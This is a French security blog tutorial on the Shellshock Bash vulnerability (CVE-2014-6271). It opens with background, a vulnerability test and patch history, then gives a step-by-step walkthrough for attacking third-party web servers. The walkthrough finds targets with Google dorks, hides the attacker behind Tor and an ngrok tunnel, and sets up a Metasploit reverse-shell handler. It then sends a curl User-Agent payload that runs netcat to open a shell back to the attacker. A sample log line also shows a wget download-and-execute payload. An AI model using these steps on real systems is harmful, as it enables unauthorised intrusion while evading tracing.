NeosLab.com
Exploitation

Comment Exploiter la Vulnérabilité Shellshock CVE 2014-6271

Une faille a été découverte dans la façon dont Bash évalue certaines variables d’environnement spécialement conçues. Un attaquant pourrait utiliser cette faille pour passer outre ou contourner certaines restrictions d’environnement afin d’exécuter des commandes shell. Certains services et applications permettent aux attaquants distants et non authentifiés de fournir des variables d’environnement, ce qui leur permet d’exploiter ce problème.

Shellshock, aussi connu sous le nom de Bashdoor, est une famille de bugs de sécurité présent dans le shell Unix Bash qui est très largement utilisé, dont le premier a été divulgué le 24 septembre 2014. De nombreux services Internet, tels que certains services de déploiements de serveurs Web, utilisent Bash pour traiter certaines requêtes, permettant à un attaquant de provoquer une vulnérabilité sur le Bash pour exécuter des commandes arbitraires. Cela peut permettre à un attaquant d’accéder sans autorisation à un système informatique.

GNU Bash jusqu’à sa version 4.3 traite les fins de chaînes après les définitions de fonction dans les valeurs des variables d’environnement, ce qui permet aux attaquants distants d’exécuter du code arbitraire via un environnement spécialement construit, comme le démontrent les vecteurs ForceCommand dans OpenSSH sshd, the mod_cgi et mod_cgid dans Apache HTTP Server, les scripts exécutés par des DHCP clients, and other situations in which setting the environment occurs across a privilege boundary from Bash execution, aka “ShellShock”.

Source: cve.mitre.org

ANATOMIE DE L’ATTAQUE

Tester votre environnement

Exécutez simplement ce script bash dans votre système et afin de vérifier si votre infrastructure est vulnérable ou non:

env 'VAR=() { :;}; echo Bash is vulnerable!' 'FUNCTION()=() { :;}; echo Bash is vulnerable!' bash -c "echo Bash Test"

Y at-il une menace pour les services bancaires en ligne?

Cette vulnérabilité est activement exploitée en vue de cibler les serveurs hébergeurs de contenu sur Internet. Même certaines stations de travail sous Linux et OSX sont vulnérables, mais un attaquant devrait toujours trouver un vecteur d’attaque qui fonctionnera à distance depuis un environnement de bureau. Une preuve de cette faille ciblant les clients dhcp sur des stations de travail * nix a été publiée, mais la plupart des stratégies de processus dhcp préviennent les actions de ce type d’exploit par défaut.

Les tentatives d’exploit que nous avons observées ciblent des serveurs vulnérables et y installe des DDoS botsdans le but de pouvoir déployer par la suite d’autres attaques DDoS. à plus grande échelle. Il est probable que les serveurs hébergeant des informations personnelles et manipulant des données marchandes sensibles soient également attaqués, mais ce phénomène n’a pour le moment pas encore observés.

Puis-je détecter si quelqu’un a exploité ce type d’attaque sur ma machine?

Nous vous recommandons d’examiner vos journaux HTTP et de vérifier s’il y a quoi que ce soit de suspect. Un exemple d’entré pouvant laisser craindre une attaque malveillante:

192.168.1.1 – – [25/Sep/2014:14:00:00 +0000] "GET / HTTP/1.0"  400 349 "() { :; }; wget -O /tmp/besh http://192.168.1.1/filename; chmod 777  /tmp/besh; /tmp/besh;"

Il existe également des correctifs pour bash qui enregistrent chaque commande transmise à l’interpréteur bash. C’est un bon moyen de voir si quelqu’un a exploité votre machine. Cela n’empêchera pas quelqu’un d’exploiter cette vulnérabilité, mais il enregistrera les actions des attaquants sur le système et vous permettra de les contrôller.

Quelle est la gravité de la menace?

Ce bug est très dangereux en effet, mais TOUSles systèmes ne sont pas vulnérables. Des conditions spécifiques doivent être remplies pour qu’un serveur Web puisse être exploité. L’un des plus gros problèmes est que lorsque les correctifs sont publiés, les chercheurs cherchent d’autres façons d’exploiter bash, ainsi que les différentes conditions qui permettent d’y arriver, etc. Donc un correctif qui empêcherai l’exécution de code à distance ne pourra rien contre ce type d’attaque, par exemple, un remplacement de fichier. Il y aura donc probablement une série de correctifs et, dans cet intervalle, les systèmes resteront potentiellement toujours vulnérables.

Est-ce le nouveau Heartbleed?

Il est en effect beaucoup plus facile pour un cybercriminel d’exploiter ce type de faille que Heartbleed, En outre, dans le cas de Heartbleed, un cybercriminel ne pouvait que voler des données stoquées en mémoire, espérant trouver quelque chose d’intéressant. En revanche, la vulnérabilité bash rend le contrôle intégral du système possible. Donc, il est aisé à comprendre qu’il est potentiellement beaucoup plus dangereux.

Peut-il être utilisé dans de futures attaques APT?

Il pourrait être utilisé pour le développement futur de logiciels malveillants, bien sûr. Les logiciels malveillants peuvent être utilisés pour tester automatiquement l’infrastructure d’un tel bug, pour infecter le système ou l’attaquer d’une autre manière.

Serveur Web CGI-Based

Lorsqu’un serveur Web utilise l’interface CGI Common Gateway Interfacepour gérer une demande de document, il transmet divers détails de la demande à un programme gestionnaire dans la liste des variables d’environnement. Par exemple, la variable HTTP_USER_AGENT a une valeur qui, en utilisation normale, identifie le programme qui envoie la requête. Si le gestionnaire de requêtes est un script Bash, ou s’il en exécute un par exemple en utilisant l’appel system(3), Bash recevra les variables d’environnement passées par le serveur et les traitera comme décrit ci-dessus. Cela fournit un moyen pour un attaquant de déclencher la vulnérabilité Shellshock avec une requête de serveur spécialement conçue. La documentation de sécurité pour les serveurs Web Apache qui sont les plus largement utilisés font état que : “Les scripts CGI peuvent être extrêmement dangereux s’ils ne sont pas soigneusement vérifiés”. et d’autres méthodes de traitement des requêtes du serveur Web sont aussi souvent utilisées. Il existe un certain nombre de services en ligne qui tentent de tester la vulnérabilité des serveurs Web.

Serveur OpenSSH

OpenSSH a une fonction “ForceCommand”, où une commande fixe est exécutée lorsque l’utilisateur se connecte, au lieu de simplement exécuter un shell de commande sans restriction. La commande fixe est exécutée même si l’utilisateur a spécifié qu’une autre commande devrait être exécutée; dans ce cas, la commande d’origine est placée dans la variable d’environnement “SSH_ORIGINAL_COMMAND”. Lorsque la commande forcée est exécutée dans un shell Bash (si le shell de l’utilisateur est défini sur Bash), le shell Bash analyse la variable d’environnement SSH_ORIGINAL_COMMAND au démarrage et exécute les commandes incorporées dans celui-ci. L’utilisateur aura donc utilisé son accès shell restreint pour obtenir un accès shell illimité, en utilisant le bug Shellshock.

Clients DHCP

Certains clients DHCP peuvent également passer des commandes à Bash; un système vulnérable pourrait être attaqué lors de la connexion à un réseau Wi-Fi ouvert. Un client DHCP demande généralement et obtient une adresse IP d’un serveur DHCP, mais il peut également fournir une série d’options supplémentaires. Un serveur DHCP malveillant peut fournir, dans l’une de ces options, une chaîne conçue pour exécuter du code sur un poste de travail ou un ordinateur portable vulnérable.

Serveur Qmail

Lors de l’utilisation de Bash pour traiter des messages électroniques (par exemple via le transfer ou qmail-alias piping), le serveur de messagerie qmail transmet des entrées externes de manière à exploiter une version vulnérable de Bash.

Comment corriger cette vulnérabilité?

Jusqu’au 24 septembre 2014, le mainteneur de Bash, Chet Ramey, a fourni une version de patch pour bash43-025 de Bash 4.3 s’adressant au CVE-2014-6271, qui était déjà empaquetée par les responsables de la distribution. Le 24 septembre, bash43-026 a suivi, en s’adressant au CVE-2014-7169. Puis le CVE-2014-7186 été découvert. Florian Weimer de Red Hat a posté un patch pour cela “officieusement” le 25 septembre, que Ramey a incorporé dans Bash en bash43-027. Ces correctifs ont fourni du code seul, utile uniquement pour ceux qui savent comment compiler (“reconstruire”) un nouveau fichier exécutable Bash binaire à partir du fichier patch et des fichiers de code source restants.

Le lendemain, Red Hat officiellement présenté les mises à jour pour Red Hat Enterprise Linux, le jour suivant pour Fedora 21. Canonical Ltd. a présenté les mises à jour pour ses versions pour Ubuntu Long Term Support le samedi 27 septembre; Puis le dimanche sont intervenus les mises à jour pour SUSE Linux Enterprise. Le lundi et Mardi suivant les mises à jour d’Apple OSX sont apparues.

Le 1er octobre 2014, Micha? Zalewski de Google Inc. a finalement déclaré que le code de Weimer et bash43-027 avaient non seulement fixé les trois premiers bugs, mais aussi les trois autres qui ont été publiés faisant suite à bash43-027, y compris ses deux découvertes. Cela signifie qu’après les mises à jour des distributions antérieures, aucune autre mise à jour n’a été nécessaire pour couvrir les six failles.

Source: github.com


TROUVER DES CIBLES POTENTIELLES

Il ne fait aucun doute qu’il existe mille et une façons de trouver des cibles vulnérables pour ce type d’attaque. Pour aller droit à l’essentiel, nous allons utiliser une liste non exhaustive de Google Dork pour construire une liste de sites Web potentiellement vulnérables.

sitemap.xml filetype:xml intext:"cgi-bin"
filetype:sh inurl:cgi-bin
filetype:sh
intext:cgi-bin
intitle:apache "cgi-bin"
inurl:cgi-bin
inurl:wspd_cgi.sh
inurl:wslb.sh
inurl:"server-status" intitle:apache "cgi-bin"
inurl:cgi-bin "GATEWAY_INTERFACE = CGI"
inurl:cgi-bin inurl:printenv intext:SERVER_ADDR

Note

Une liste supplémentaire de dork peut être trouvée dans le fichier PDF ci-joint.

Optionnel

Pour gagner du temps à trouver des cibles potentiellement vulnérables, nous vous suggérons fortement d’utiliser “Pagodo”, un petit utilitaire Python pour automatiser votre recherche.

# Save your dorks list into a file such as "dorks.txt"
# Specify the output path and filename such as "urls.txt"
$ sudo python pagodo.py ­-g dorks.txt -­l 200 ­-s ­-e 35.0 ­-j 1.1 >> urls.txt

Source: github.com

INITIALISER LA SESSION TOR

Avant d’aller plus loin, nous devrons protéger notre anonymat en cachant notre emplacement actuel et les détails de connexion. Pour cette démonstration, nous allons utiliser TorPhantom, un simple utilitaire Python utilisé pour acheminer tout votre trafic via TOR. Si vous ne l’avez pas encore d’installé sur votre machine, vous pouvez lire cet article qui vous expliquera comment masquer votre IP en utilisant TorPhantom

Démarrer TorPhantom

# Type the below commands
$ sudo torphantom start ­-i <interface>

Réponse

ANALYSER LES CIBLES POTENTIELLES

Maintenant que nous sommes intraçable et que nous avons une liste complète de sites potentiellement vulnérables, nous allons les scanner en utilisant Shellshock-Scanner afin de vérifier si nous pouvons aller plus loin et tenter d’ouvrir Shell Meterpreter.

Analyse utilisant Shellshock-Scanner

# Type the below commands and follow up the screen prompt
$ ./shellshock-scanner

Réponse

Une fois que vous avez identifié un certain nombre d’URLs étant vulnérables à shellshock, vous pourrez passer à l’étape suivante.

INITIALISER LE TUNNEL TCP

Maintenant nous sommes prêts avec notre liste de sites Web vulnérables et que tout notre trafic est maintenant géré par TOR, nous allons créer un tunnel TCP sécurisé en utilisant Ngrok afin de transférer le trafic vers notre machine de manière anonyme. Pour les besoins de ce document, nous utiliserons le port 4444 pour recevoir la session.

Démarrer Ngrok

# Your Token can be found in your Ngrok account
$ ./ngrok authtoken 8ml78jQFrVNah4cN8UwTt_5ZVZYRPD8q7huTk7vo8MZ

Créer la Session

# Create the Ngrok session on the port 4444 using the below command
$ ./ngrok tcp 4444

Réponse

CRÉER UN GESTIONNAIRE MSF

Afin d’ouvrir une session à partir du site Web que nous avons ciblé, nous devrons créer un multi-gestionnaire d’exploit sur notre Metasploit. Cela peut être fait très rapidement en utilisant les commandes ci-dessous.

Démarrer Metasploit

# Open Metasploit
$ msfconsole
msf > use exploit/multi/handler
msf exploit(multi/handler) > set LHOST 0.0.0.0
LHOST => 0.0.0.0
msf exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf exploit(multi/handler) > set PAYLOAD linux/x86/shell/reverse_tcp
PAYLOAD => linux/x86/shell/reverse_tcp
msf exploit(multi/handler) > show options

Réponse

Dans l’exemple ci-dessus, nous utilisons un payload Linux Reverse X86 Shell Reverse TCP, bien sûr le type de payload sera différent si nous visons une machine Windows.

EXPLOITER LA CIBLE

Nous allons maintenant envoyer notre exploit afin de créer un shell inversé en utilisant un terminal et transférer le trafic via le gestionnaire MSF en utilisant le protocole TCP.

Commandes Bash

# Replace "YOUR-IP" with your tunnel IP or host adddress
# Replace "YOUR-PORT" with the port you configured in your tunneling
$ curl -k -H 'User-Agent: () { :;}; /bin/bash -c "nc YOUR-IP YOUR-PORT -e /bin/sh"' https://example.com/cgi-bin/wspd_cgi.sh/login.htm

Vous avez terminé! Si votre site cible est vulnérable à l’exploit Shellshock, une session a sera créée dans votre Metasploit vous permettant de prendre le contrôle du serveur victime.

Optionnel

À des fins de démonstration, nous avons utilisé Metasploit, mais vous pouvez obtenir exactement le même résultat en utilisant Netcat et configurer votre outil pour écouter votre port de retour comme l’exemple décrit ci-dessous:

# Replace "4444" with the port you configured in your tunneling
$ nc -lvnp 4444

Articles Similaires

Comment Utiliser SQLmap pour Débutants

neoslab

Contourner les Antivirus avec des Payloads Encryptés à l’aide de Venom

neoslab

Comment Créer un Reverse Shell

neoslab

Laisser un commentaire

* By using this form you agree with the storage and handling of your data by this website.

Hey Wait!
Did you know ? You can build your Cyber security or IT career for FREE !
Make yourself happy, join our 8,000 members and receive FREE every day our latest tutorials and webinars to your mailbox!
Yes, Send it Over!
No Thanks!
close-link